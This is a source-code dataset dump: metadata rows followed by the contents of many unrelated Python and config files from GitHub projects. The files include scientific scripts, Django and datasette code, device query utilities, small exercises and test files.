blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
aa65658df4f8fc95e1ef9915be1117aaa44c049c | b76384bdcf39605ace17ee51c7902743cb315a00 | /opt/random_optimiser.py | b714186e31d9b24ce2b148f18caa5544bbd1cec0 | [
"MIT"
] | permissive | RemiLehe/dragonfly | c13c54ad106edb4de8f46c8adc44052f926d3685 | 950bee976b8dc5157e84236ce6fd3d4ec5612521 | refs/heads/master | 2022-08-15T05:04:57.176391 | 2018-09-08T01:05:33 | 2018-09-08T01:05:33 | 148,205,116 | 1 | 0 | MIT | 2018-09-10T19:04:34 | 2018-09-10T19:04:33 | null | UTF-8 | Python | false | false | 7,013 | py | """
Implements some instances of a random optimiser.
-- [email protected]
"""
# pylint: disable=invalid-name
from argparse import Namespace
import numpy as np
# Local imports
import exd.domains as domains
from exd.exd_utils import get_euclidean_initial_qinfos
from exd.exd_core import mf_exd_args
from opt.black... | [
"[email protected]"
] | |
659da2ed1830691916e79d88dcff073d2175e3ab | 9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97 | /sdBs/HundredRun/KUV_00486-2016/sdB_KUV_00486-2016_lc.py | b02b47a0574e563b9801476c5c5d0b466ad7622c | [] | no_license | tboudreaux/SummerSTScICode | 73b2e5839b10c0bf733808f4316d34be91c5a3bd | 4dd1ffbb09e0a599257d21872f9d62b5420028b0 | refs/heads/master | 2021-01-20T18:07:44.723496 | 2016-08-08T16:49:53 | 2016-08-08T16:49:53 | 65,221,159 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 352 | py | from gPhoton.gAperture import gAperture
def main():
gAperture(band="NUV", skypos=[191.49438,-19.999389], stepsz=30., csvfile="/data2/fleming/GPHOTON_OUTPU/LIGHTCURVES/sdBs/sdB_KUV_00486-2016 /sdB_KUV_00486-2016_lc.csv", maxgap=1000., overwrite=True, radius=0.00555556, annulus=[0.005972227,0.0103888972], verbose=3)
if ... | [
"[email protected]"
] | |
bf9a250bb60d5bd8acf6f007ac45e93468b1b0e2 | 2e8d5422aba03edc10154225db2fc39af5e98660 | /Code/NativePython/GPUCommandList.py | 2ba28c79817a35025ab9d8e97f51defbb8806e0e | [
"MIT"
] | permissive | MYheavyGo/RenderPipeline | f500611bef020f45ac63023df206f978be887fc5 | 70002e71c25ba93f05c73d041943d07eb639641c | refs/heads/master | 2021-01-15T14:49:58.756014 | 2016-01-18T15:59:14 | 2016-01-18T15:59:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,638 | py | """
RenderPipeline
Copyright (c) 2014-2015 tobspr <[email protected]>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use... | [
"[email protected]"
] | |
548d1a106183486e625e18b56894ddc4126ea39c | dd80a584130ef1a0333429ba76c1cee0eb40df73 | /external/chromium_org/ui/keyboard/keyboard.gyp | 4ea3b09808b9285366865be616e0eb9ecf06483b | [
"MIT",
"BSD-3-Clause"
] | permissive | karunmatharu/Android-4.4-Pay-by-Data | 466f4e169ede13c5835424c78e8c30ce58f885c1 | fcb778e92d4aad525ef7a995660580f948d40bc9 | refs/heads/master | 2021-03-24T13:33:01.721868 | 2017-02-18T17:48:49 | 2017-02-18T17:48:49 | 81,847,777 | 0 | 2 | MIT | 2020-03-09T00:02:12 | 2017-02-13T16:47:00 | null | UTF-8 | Python | false | false | 3,341 | gyp | # Copyright (c) 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'variables': {
'chromium_code': 1,
},
'targets': [
{
'target_name': 'keyboard_resources',
'type': 'none',
'variables': ... | [
"[email protected]"
] | |
a9d82f50c1dec7b4eb3ff66f299c04a27101aa6f | 6300fcf67d4fcb5387a9f0f7370a8ffe8f4097d9 | /AutoParts/Tests/base/mixins.py | 35bd3b4584f9a55e5747260ca009f68451a98241 | [] | no_license | Borislav-source/Final-Project | e34ac1cbb71e3a32ed490361d3583c2e1e8bfbc9 | 501b258d103c2e1b8947451f4bdf750709d040fd | refs/heads/master | 2023-07-17T15:03:19.390774 | 2021-09-01T14:06:09 | 2021-09-01T14:06:09 | 393,977,540 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 598 | py | from django.utils.timezone import now
from AutoParts.accounts.models import Profile
from AutoParts.vehicle.models import EngineModel, Manufacturer, VehicleModels, Vehicle
class ProfileWithCarMixin:
engine = EngineModel.objects.create(engine='1.8t')
vehicle_manufacturer = Manufacturer.objects.create(name='Merc... | [
"[email protected]"
] | |
c84e38b4c188ec5aeffcefc56fcd15de3ff96624 | 9b1e925d953e29d18451b0bcc0cf2da853d8a29f | /testing/test_wmic.py | 71ef426d6ace68ee24105facbcf4c9bbffc30496 | [] | no_license | safl/levis | a61eeb72e620a924ed185d03988ad5ce5c39654b | e6f007f7f74e92c82da16c5645b3f41eb16c77cb | refs/heads/master | 2016-09-06T16:47:43.456935 | 2011-03-07T20:22:19 | 2011-03-07T20:22:19 | 1,360,470 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,256 | py | #!/usr/bin/env python
import unittest, os
import rpc
class TestKeyParsing(unittest.TestCase):
def setUp(self):
self.wmi_target = {
"host": "192.168.1.101",
"domain": "",
"user": "safl",
"pass": "bufasbufas"
}
self.queries = {
... | [
"[email protected]"
] | |
3bf22289b93db09ad9e3ef68a0b53fb48f6a960e | 028d788c0fa48a8cb0cc6990a471e8cd46f6ec50 | /Python-OOP/Exam/project/fish/base_fish.py | 56973ffd676945dedddedc868c3419b8b1d3ed8c | [] | no_license | Sheko1/SoftUni | d6b8e79ae545116f4c0e5705ad842f12d77a9c9d | a9fbeec13a30231b6a97c2b22bb35257ac1481c0 | refs/heads/main | 2023-07-13T15:39:48.826925 | 2021-08-21T12:51:02 | 2021-08-21T12:51:02 | 317,266,200 | 2 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,055 | py | from abc import ABC, abstractmethod
class BaseFish(ABC):
size_to_increase = 5
def __init__(self, name: str, species: str, size: int, price: float):
self.name = name
self.species = species
self.size = size
self.price = price
@property
def name(self):
return sel... | [
"[email protected]"
] | |
49c315b88481e4a6d78a623438fcbeda3f56a89d | e2e8d2462bcd97fe94b959e8d541f9856b136357 | /ENV/lib/python3.5/site-packages/pyrogram/api/functions/messages/get_game_high_scores.py | dbe17ff41a0be895d46d862131acaeb138dd7eb8 | [
"MIT"
] | permissive | wasweisic/CryptoPredicted | a8babd459ab1da634014830be77615356d0200f7 | 7f660cdc456fb8252b3125028f31fd6f5a3ceea5 | refs/heads/master | 2023-04-12T12:34:29.317983 | 2021-02-01T13:07:18 | 2021-02-01T13:07:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,368 | py | # Pyrogram - Telegram MTProto API Client Library for Python
# Copyright (C) 2017-2018 Dan Tès <https://github.com/delivrance>
#
# This file is part of Pyrogram.
#
# Pyrogram is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free S... | [
"[email protected]"
] | |
9fb483bd59a64a4079e937ff1466937a02383c7e | 48894ae68f0234e263d325470178d67ab313c73e | /sa/profiles/Arista/EOS/get_inventory.py | b981153e1be44768007d5d21e68c85dc6a016ed1 | [
"BSD-3-Clause"
] | permissive | DreamerDDL/noc | 7f949f55bb2c02c15ac2cc46bc62d957aee43a86 | 2ab0ab7718bb7116da2c3953efd466757e11d9ce | refs/heads/master | 2021-05-10T18:22:53.678588 | 2015-06-29T12:28:20 | 2015-06-29T12:28:20 | 118,628,133 | 0 | 0 | null | 2018-01-23T15:19:51 | 2018-01-23T15:19:51 | null | UTF-8 | Python | false | false | 3,559 | py | # -*- coding: utf-8 -*-
##----------------------------------------------------------------------
## Arista.EOS.get_inventory
##----------------------------------------------------------------------
## Copyright (C) 2007-2013 The NOC Project
## See LICENSE for details
##--------------------------------------------------... | [
"[email protected]"
] | |
46b93892928e8b45940441867657548a521a2644 | 364020e5cb0f057f4e63b8e0c43a03c565bb249d | /panda/examples/query_vin_and_stats.py | f3d6c198aff9f1485743a904d083deab4cee5fb4 | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | Gernby/openpilot | fb7c9e607be438334aaf48e338de7f07343a7873 | d8da18ed546637a8d6a00d2b4c9dfafb90d2a4dd | refs/heads/devel | 2020-04-05T02:04:56.217699 | 2019-07-01T21:15:34 | 2019-07-01T21:15:34 | 156,462,811 | 38 | 75 | MIT | 2020-04-25T21:01:31 | 2018-11-06T23:34:08 | C++ | UTF-8 | Python | false | false | 1,723 | py | #!/usr/bin/env python
import time
import struct
from panda import Panda
from hexdump import hexdump
from panda.python.isotp import isotp_send, isotp_recv
# 0x7e0 = Toyota
# 0x18DB33F1 for Honda?
def get_current_data_for_pid(pid):
# 01 xx = Show current data
isotp_send(panda, "\x01"+chr(pid), 0x7e0)
return isotp... | [
"[email protected]"
] | |
3b3efdfad9fac7e5373bbc3882ccc7ed1d90ec0f | afc87a0ecde9869df0802d6ad79d18d9722727d8 | /oregon/home/templatetags/home_d3tags.py | c524d18698e81791c61541dc6872a722ddcb0dd8 | [] | no_license | hobson/oregon | cc005e5fb158142cb0879db1bae73b040815cc3a | 4cd3cc8696db25f531839dbda4c903357df27e58 | refs/heads/master | 2021-01-19T03:23:29.595855 | 2013-10-01T05:57:40 | 2013-10-01T05:57:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 497 | py | from django.core.serializers import serialize
from django.core.serializers.json import DjangoJSONEncoder
from django.db.models.query import QuerySet
from django.template import Library
from django.utils import simplejson
register = Library()
#@register.filter(name='jsonify')
def jsonify(object):
if isinstance(obj... | [
"[email protected]"
] | |
6856c56c7c43315dc8a2657bc9746e449d89c043 | 56fdddd67821db9bb21dc2f851a1ae3b22256429 | /s1level41.py | 0c008ae52c1c1f555652671295617d095ad07e47 | [
"Unlicense"
] | permissive | gemeraldsfilms/code-org-python | 359276751a08d6a66ca5199dbdd1004c5d4eccd1 | bd6e0871de3e23d3e94212caf94d57997b504134 | refs/heads/master | 2021-01-14T11:25:58.986699 | 2014-10-31T18:21:33 | 2014-10-31T18:21:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | py | import codestudio
artist = codestudio.load('s1level41')
for count in range(10):
artist.pen.color = 'random'
for count in range(4):
artist.move_forward(20)
artist.turn_right(90)
artist.move_forward(20)
artist.check()
| [
"[email protected]"
] | |
1023ebd93d98f3012ed40bb1e458b458c8d3cddf | 875a711df288d33778e2ae876f8f67490c91a7a1 | /PathMangerExamples.py | f64b79ab66d397fdd0efb3a13b2f0faacbcb5338 | [] | no_license | zethwillie/chrlx_pipe | 4c45bd51591a6dbdbe848da348ae3835569397d7 | 7c69818c125fc01a07a7294bd8d34d28a61f04bc | refs/heads/master | 2021-01-22T21:17:56.259480 | 2017-08-18T04:28:11 | 2017-08-18T04:28:11 | 100,672,617 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,630 | py | from chrlx.utils import PathManager
path = PathManager("G:\jobs\charlex_testArea_T60173\W_psultan\scenes\shot010\lgt\workshop\T60173W_010_std_software.01.ma")
#job info determined by folder structure
print "jobNumber:", path.jobNumber
print "jobDirname:", path.jobDirname
print "jobShortname:", path.jobShortname
print... | [
"[email protected]"
] | |
1d0101942a1f8158b1df89d28a581f8a989d6099 | a7cca49626a3d7100e9ac5c2f343c351ecb76ac7 | /tests/dev_tests/get_machine_freq.py | 53f58efc5548afd9221dc39ed26ccc27e86361d3 | [
"MIT"
] | permissive | Carglglz/upydev | 104455d77d64300074bda54d86bd791f19184975 | 529aa29f3e1acf8160383fe410b5659110dc96de | refs/heads/master | 2023-05-24T18:38:56.242500 | 2022-10-21T14:03:17 | 2022-10-21T14:03:17 | 199,335,165 | 49 | 9 | MIT | 2022-10-21T14:03:18 | 2019-07-28T20:42:00 | Python | UTF-8 | Python | false | false | 137 | py | import machine
def freq():
fq = machine.freq()
if isinstance(fq, tuple):
return int(fq[0]/1e6)
return int(fq/1e6)
| [
"[email protected]"
] | |
bc5354942ec4f909d4ccdf9434a01480c07a0da5 | 86cc17a69213569af670faed7ad531cb599b960d | /player12.py | 9f6d8ddf708fb3e1cbee2e05883e552d33187881 | [] | no_license | LakshmikanthRavi/guvi-lux | ed1c389e27a9ec62e0fd75c140322563f68d311a | 5c29f73903aa9adb6484c76103edf18ac165259e | refs/heads/master | 2020-04-15T05:07:19.743874 | 2019-08-13T08:53:00 | 2019-08-13T08:53:00 | 164,409,489 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 161 | py | u,m=map(int,input().split())
g=list(map(int,input().split()))
r=[]
for i in range(u-m,u):
r.append(g[i])
for i in g:
if i not in r:
r.append(i)
print(*r)
| [
"[email protected]"
] | |
e02eccd31bb9c7d6aaa7d19529cafad2e12d8805 | 672ea11a7dee763fc8c37bc82bb609b8de19344c | /src/生成斗地主扑克牌.py | 28fff2f03a30318453efc6cfebefc64fa9a69cbd | [] | no_license | qlong8807/python3-lesson | 294ede6a0de1d89f513209b00504e8f0c9bb2607 | ac4e745a8e8d0ab665e2ff676ddcd0ab190fed06 | refs/heads/master | 2020-04-08T15:18:44.564272 | 2020-02-18T08:33:30 | 2020-02-18T08:33:30 | 159,472,820 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 687 | py | # coding:utf8
# author:jans
# desc: 扑克牌洗牌
import random
poker_num = [str(i) for i in range(2,11)]
poker_str = ['A','J','Q','K']
poker_king = ['大王','小王']
poker_color = ['红','黑','方','花']
pokers = ['%s%s' %(i,j) for i in poker_color for j in poker_num+poker_str] + poker_king
print(len(pokers))
print(pokers)
print('开... | [
"[email protected]"
] | |
4ab465fcdde84101246798cce491652b00295dce | 63cf686bf970d28c045719de2f0e7e9dae5bed15 | /N-th Tribonacci Number.py | 13e5231116e6aba79408a56a4f23a7c77a01f1bf | [] | no_license | menard-noe/LeetCode | 6461bda4a076849cf69f2cd87999275f141cc483 | 4e9c50d256c84d1b830a7642b265619a0b69d542 | refs/heads/master | 2022-12-13T09:41:41.682555 | 2020-09-14T12:46:53 | 2020-09-14T12:46:53 | 282,481,920 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 493 | py | from typing import List
class Solution:
def __init__(self):
self.memo = {0: 0, 1: 1, 2: 1}
def tribonacci(self, n: int) -> int:
if n in self.memo:
return self.memo[n]
else:
self.memo[n] = self.tribonacci(n - 1) + self.tribonacci(n - 2) + self.tribonacci(n - 3)
... | [
"[email protected]"
] | |
d37e9764102913288d0e90d9ba66699201662d2d | 3b2940c38412e5216527e35093396470060cca2f | /top/api/rest/LogisticsOrderShengxianConfirmRequest.py | 3a40c08aaf7002f5809c5f42c433f502317e3311 | [] | no_license | akingthink/goods | 842eb09daddc2611868b01ebd6e330e5dd7d50be | ffdb5868a8df5c2935fc6142edcdf4c661c84dca | refs/heads/master | 2021-01-10T14:22:54.061570 | 2016-03-04T09:48:24 | 2016-03-04T09:48:24 | 45,093,302 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 516 | py | '''
Created by auto_sdk on 2015-01-20 12:44:31
'''
from top.api.base import RestApi
class LogisticsOrderShengxianConfirmRequest(RestApi):
def __init__(self,domain='gw.api.taobao.com',port=80):
RestApi.__init__(self,domain, port)
self.cancel_id = None
self.delivery_type = None
self.logis_id = None
s... | [
"[email protected]"
] | |
14955d30fe26123e3716725167c4d68ad49205a2 | e76ea38dbe5774fccaf14e1a0090d9275cdaee08 | /src/cc/DEPS | 4e1cc74d6cc126e06e3aa1337ee58dc83ccb80ad | [
"BSD-3-Clause"
] | permissive | eurogiciel-oss/Tizen_Crosswalk | efc424807a5434df1d5c9e8ed51364974643707d | a68aed6e29bd157c95564e7af2e3a26191813e51 | refs/heads/master | 2021-01-18T19:19:04.527505 | 2014-02-06T13:43:21 | 2014-02-06T13:43:21 | 16,070,101 | 1 | 3 | null | null | null | null | UTF-8 | Python | false | false | 561 | include_rules = [
"+gpu/GLES2",
"+gpu/command_buffer/client/context_support.h",
"+gpu/command_buffer/common/gpu_memory_allocation.h",
"+gpu/command_buffer/common/mailbox.h",
"+media",
"+skia/ext",
"+third_party/skia/include",
"+third_party/khronos/GLES2/gl2.h",
"+third_party/khronos/GLES2/gl2ext.h",
... | [
"[email protected]"
] | ||
7b2a0da5898ff8cc6de859b91194a6f1fd42975e | 03534ce46ccb4d82e7752cac264884090c16ae1f | /PyBind11/config.py | a61a9b2d3e787f538b9046e074857e84ede13092 | [] | no_license | alex-v-dev/dependencies | 0ca2a67b97bb9403fa973d4b0a9f34f98694bcdd | 11307514feccd38eeda66c9f0b83194358ffc956 | refs/heads/master | 2023-07-04T22:49:52.940631 | 2021-06-14T13:34:27 | 2021-06-14T13:34:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 457 | py | {
"downloads" : [
"https://github.com/pybind/pybind11/archive/v2.6.2.tar.gz"
],
"url" : "https://pybind11.readthedocs.io",
"license" : "LICENSE",
"dependencies" : [ "Python" ],
"environment" : {
"PATH" : "{buildDir}/bin:$PATH",
"LD_LIBRARY_PATH" : "{buildDir}/lib",
},
"commands" : [
"cmake"
... | [
"[email protected]"
] | |
089de6e71f93ea67d7b8693f6b0221acef7db5d3 | 20cc35cb819d988d35d25ae942d0ecc9fe7bc726 | /Prac_03/word_generator_prac_three.py | 252cd137d3a0b982f809d37432661bd9d8b0abde | [] | no_license | LukeElliman/Practicals | 1272b51e9ef45f27dcb31f7d1238a429e14f3d15 | f9de0adff1616e4b797b96f83fa1869790a0492f | refs/heads/master | 2023-05-05T21:42:45.922665 | 2021-05-23T23:36:08 | 2021-05-23T23:36:08 | 341,446,239 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,608 | py | """
CP1404/CP5632 - Practical
Random word generator - based on format of words
Another way to get just consonants would be to use string.ascii_lowercase
(all letters) and remove the vowels.
"""
import random
VOWELS = "aeiou"
CONSONANTS = "bcdfghjklmnpqrstvwxyz"
VALID_INPUT = "cv"
def main():
#User input
val... | [
"[email protected]"
] | |
497e239e4a4996a03027feed630c538b6b031e56 | 493fcf4b7eb61a00a51864ba2b3544541dee2935 | /labman/gui/test/test_study.py | b82f7d7b999379932f6bcd0d4d743a94ba366e7a | [
"BSD-3-Clause"
] | permissive | antgonza/labman | d56ab55debdbea4024e12b6e84625b5a472fdbe2 | c3bb7a15cbfdbbf60a7b2b176fff207f99af0002 | refs/heads/master | 2021-05-11T16:09:12.890965 | 2019-04-08T23:29:09 | 2019-04-08T23:29:09 | 117,754,098 | 0 | 0 | BSD-3-Clause | 2019-03-31T20:38:09 | 2018-01-16T23:10:41 | Python | UTF-8 | Python | false | false | 3,280 | py | # ----------------------------------------------------------------------------
# Copyright (c) 2017-, labman development team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
# -----------------------------------------------------... | [
"[email protected]"
] | |
1a728171fa0d72923f75ff0a93d3da29aad4725e | 4476597f6af6b9cd4614bf558553a7eb57c9f993 | /io/email-send.py | b0c8e5b3defd2e2685124e52af398dd84e39b324 | [] | no_license | zhengziqiang/mypython | 07dff974f475d1b9941b33518af67ece9703691a | 7a2b419ff59a31dc937666e515490295f6be8a08 | refs/heads/master | 2021-07-14T20:01:34.231842 | 2017-04-19T01:18:25 | 2017-04-19T01:18:25 | 56,583,430 | 3 | 1 | null | 2020-07-23T11:46:35 | 2016-04-19T09:26:39 | Python | UTF-8 | Python | false | false | 3,529 | py | from Tkinter import *
from smtplib import *
import string
import tkMessageBox as mes
class loginPage(object):
def __init__(self,master,info='Mail Send System'):
self.master=master
self.mainlabel=Label(master,text=info,justify=CENTER)
self.mainlabel.grid(row=0,columnspan=3)
self.user=Label(master,text='usern... | [
"[email protected]"
] | |
580123fccf31e7c332168aeb8fe195413662dc0f | 8aa50378af42f325083be548baaf78b4dbf619ab | /OpenCVTest/ReadWebMFile/read_n_save_to_video.py | cb193792096e706e0ef3c655661e388c76d2d982 | [] | no_license | jamescfli/PythonTest | 35919a6671b3d85a0f0212ea6da8baefbd5fcbe0 | 87c4092b046fba45e3e98f03944c17edde11b8b1 | refs/heads/master | 2021-01-20T02:44:25.963174 | 2017-07-01T15:58:32 | 2017-07-01T15:58:32 | 62,287,876 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,272 | py | import cv2
# video_filepath = './video_clips/b.mp4' # no problem for .mp4 in general, but this one does not work
# video_filepath = './video_clips/b.webm'
# video_filepath = './video_clips/test.webm'
video_filepath = './video_out/b_640x1280_15fps.mp4'
# video_filepath = './video_out/b_640x1280_60fps.mp4'
# .. I... | [
"[email protected]"
] | |
5ed9622704f875d95003d08b1e22ecbfb53984cd | 99ca151c59afd9c0e7091b6919768448e40f88a2 | /numpy_and_math_error.py | ae3f097ca8ea71aad9e01311276bd6f306b6dfdb | [] | no_license | zainabnazari/Python_note | 1b6a454f6e7b3aca998d87a201823a600ec28815 | 3beb52beb3a0ebe17a6ac8c5695670e9dde59269 | refs/heads/main | 2023-02-10T22:32:33.160428 | 2021-01-12T18:36:54 | 2021-01-12T18:36:54 | 304,724,221 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 344 | py | #file name: numpy_and_math_error.py
import numpy as np
import math
myarray = np.array([1,2,3])
root = math.sqrt(myarray)
print(root)
"""
Output:
Traceback (most recent call last):
File "numpy_and_math_error.py", line 5, in <module>
root = math.sqrt(myarray)
TypeError: only size-1 arrays can be converte... | [
"[email protected]"
] | |
dd9947fc7776c6931faffc56c6329f2422b0f5d0 | 04a77043cebd9415069aad4a6b8e7af077de1168 | /1-pbase/day11/exmple/filter.py | c8a7fa97539cd633362bc8a071f7fe9afc4d4bc4 | [] | no_license | yangxiangtao/biji | a935fbc4af42c81205900cb95a11e98c16d739de | 5c5f46e6c145fc02ea10b7befdc05c489fc3b945 | refs/heads/master | 2022-11-12T02:25:51.532838 | 2019-04-02T01:22:12 | 2019-04-02T01:22:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 204 | py | # def is_odd(x):
# return x%2==1
# for x in filter(is_odd,range(20)):
# print(x)
# for x in filter(lambda x:x%2==1,range(10)):
# print(x)
L=list(filter(lambda x: x%2==1,range(10)))
print(L) | [
"[email protected]"
] | |
0ba46ca25f7954a614e976605f8cede03101b4ed | 1356c64ee93435b3d312c8abbf0cfbdf28935645 | /2565_electric_flex_20191212.py | 3984d15a3a4e99cec8677dff6cf213d5e661f827 | [] | no_license | tmtmaj/algorithm_2019_12_03 | 48829c6c03fa1b4528fc161056303c30eab1a31a | bf86bd36a044978fa3a60b65a7a248de2a2052ac | refs/heads/master | 2021-06-25T05:07:42.726320 | 2021-05-08T14:20:02 | 2021-05-08T14:20:02 | 225,642,301 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,501 | py | # import sys
# cmd = lambda: sys.stdin.readline()
#
# def x_func(e_list):
# e_list = e_list
# x_list = [0 for _ in range(len(e_list))]
#
# for i in range(len(e_list)):
# for j in range(i + 1, len(e_list)):
# if (e_list[i][0] > e_list[j][0] and e_list[i][1] < e_list[j][1]) or (e_list[i][0... | [
"[email protected]"
] | |
48c0e9e27a52eafca750b8ee40a439230b894fcf | 116aadef9866be33782c6cbd06901703728295cc | /datasette_tiles/__init__.py | f8a2f4b9cec6f2c18358bdf5ac7b743a850c6d3f | [
"Apache-2.0"
] | permissive | dracos/datasette-tiles | 9c4cf6ca683a703f08e1f69cbc4def3694d7bcc3 | f7aa1a49df23584445cf154ad0e3e6d750965b15 | refs/heads/main | 2023-02-28T22:33:08.331682 | 2021-02-03T22:21:57 | 2021-02-03T22:21:57 | 335,932,265 | 0 | 0 | null | 2021-02-04T11:24:40 | 2021-02-04T11:24:39 | null | UTF-8 | Python | false | false | 6,641 | py | from datasette import hookimpl
from datasette.utils.asgi import Response, NotFound
from datasette_tiles.utils import detect_mtiles_databases, tiles_stack_database_order
import json
# 256x256 PNG of colour #dddddd, compressed using https://squoosh.app
PNG_404 = (
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01\x0... | [
"[email protected]"
] | |
38ae0d1a558d1e120aea23f100feba10b508b6d0 | 5789f30bc942dde4235668c56408575b0bd25599 | /variantBase/variantList/collect_run_variants_to_variantlist.py | 62ac9d99d2ae82a73481e7879aa4aacca561689e | [] | no_license | bioinfo-chu-bdx/ngs-somatic | bc9dfa60872a644f18650593d144726d0ab22767 | 8cc6411e16784f2891b92241a97c71788408ffb5 | refs/heads/master | 2023-04-25T19:48:52.073672 | 2021-03-19T14:21:49 | 2021-03-19T14:21:49 | 374,675,975 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,329 | py | #!/usr/bin/python
import sys
import re
import json
import xlrd
import glob
import os
import openpyxl
# THIS SCRIPT UPDATE THE COMPLETE VariantList_ALL.json FROM RUN LIST OR SINGLE RUN FOLDER IN ARGV.
# VARIANTLIST JSON CONTAINS RunName, Sample, Variant Data (chrm, start, stop, ref, alt, varcov, poscov). EXEMPLE :
#"... | [
"[email protected]"
] | |
f4ed06e7ea8b347da25f534ba02242feff4c32b1 | 0e878d60050d3e34f33ab3f1bbfc0a0551e421d9 | /fui/fsbrowse/tests/base.py | 998b0711d09a90a7b2461a7454bea1d2aacf71dc | [] | no_license | espenak/fui.fsbrowse | bca49b7a82ffcad8e984490ed486d7038062ae8c | ba2ddd37f2fde9b0189336f50c995849de25ac45 | refs/heads/master | 2021-01-20T09:41:17.205327 | 2009-11-06T12:48:51 | 2009-11-06T12:48:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,062 | py | from Products.Five import zcml
from Products.Five import fiveconfigure
from Testing import ZopeTestCase as ztc
from Products.PloneTestCase import PloneTestCase as ptc
from Products.PloneTestCase.layer import onsetup
from Products.Five.testbrowser import Browser
from zope.component import getUtility, getMultiAdapter
f... | [
"[email protected]"
] | |
1b2e1b202bfb75864577236b2e5b92566bd75690 | 0c8cbe2f3d69c92dcd0cc73da88f1340624809f2 | /search/urls.py | 3063c9854c0b76535380cbf020f58478264616b5 | [] | no_license | JunchuangYang/OnlineMusicWebsite | 83451b03aad5ba8bf8a7402a8e7f21ca5c0d1c24 | 475ebea77e8488f08883203e509cc8b7c9043bbd | refs/heads/master | 2021-07-25T01:27:14.673494 | 2020-04-05T08:23:07 | 2020-04-05T08:23:07 | 252,178,555 | 0 | 0 | null | 2021-06-10T22:43:53 | 2020-04-01T13:09:47 | JavaScript | UTF-8 | Python | false | false | 151 | py | #__author__ = 'lenovo'
from django.urls import path
from . import views
urlpatterns = [
path('<int:page>.html',views.searchView ,name = 'search')
] | [
"[email protected]"
] | |
704da8e2d99a67413d641ece944fa1a4042d6e8e | 07f33106eeda3dff104105250fb5d299938bff6b | /数组/1552_两球之间的磁力.py | c25e73b1afbf4e08ff3f0127684b147103fef6d8 | [] | no_license | fadeawaylove/leetcode_practice | 5e40c3bcf8f7721bc1a843b7ac820041eae5c89b | 74809f13f43e74a19f5a9f8d908cfe6a9ec774b2 | refs/heads/master | 2023-01-02T05:35:57.529975 | 2020-10-28T06:03:59 | 2020-10-28T06:03:59 | 267,814,149 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,504 | py | """
在代号为 C-137 的地球上,Rick 发现如果他将两个球放在他新发明的篮子里,它们之间会形成特殊形式的磁力。Rick 有 n 个空的篮子,第 i 个篮子的位置在 position[i] ,Morty 想把 m 个球放到这些篮子里,使得任意两球间 最小磁力 最大。
已知两个球如果分别位于 x 和 y ,那么它们之间的磁力为 |x - y| 。
给你一个整数数组 position 和一个整数 m ,请你返回最大化的最小磁力。
示例 1:
输入:position = [1,2,3,4,7], m = 3
输出:3
解释:将 3 个球分别放入位于 1,4 和 7 的三个篮子,两球间的磁力分别为 [3, 3, 6... | [
"[email protected]"
] | |
e8ec0cd093e9e24840ac391ba6873cc50d9f170a | 6b1b506139088aa30de9fd65cff9e3b6a3a36874 | /sofia_redux/toolkit/fitting/tests/test_polynomial/test_linear_vector_lstsq.py | 6e23b6f9ff2c919be37c0f4bf09177809de894cd | [
"BSD-3-Clause"
] | permissive | SOFIA-USRA/sofia_redux | df2e6ad402b50eb014b574ea561734334d70f84d | 493700340cd34d5f319af6f3a562a82135bb30dd | refs/heads/main | 2023-08-17T11:11:50.559987 | 2023-08-13T19:52:37 | 2023-08-13T19:52:37 | 311,773,000 | 12 | 2 | null | null | null | null | UTF-8 | Python | false | false | 542 | py | # Licensed under a 3-clause BSD style license - see LICENSE.rst
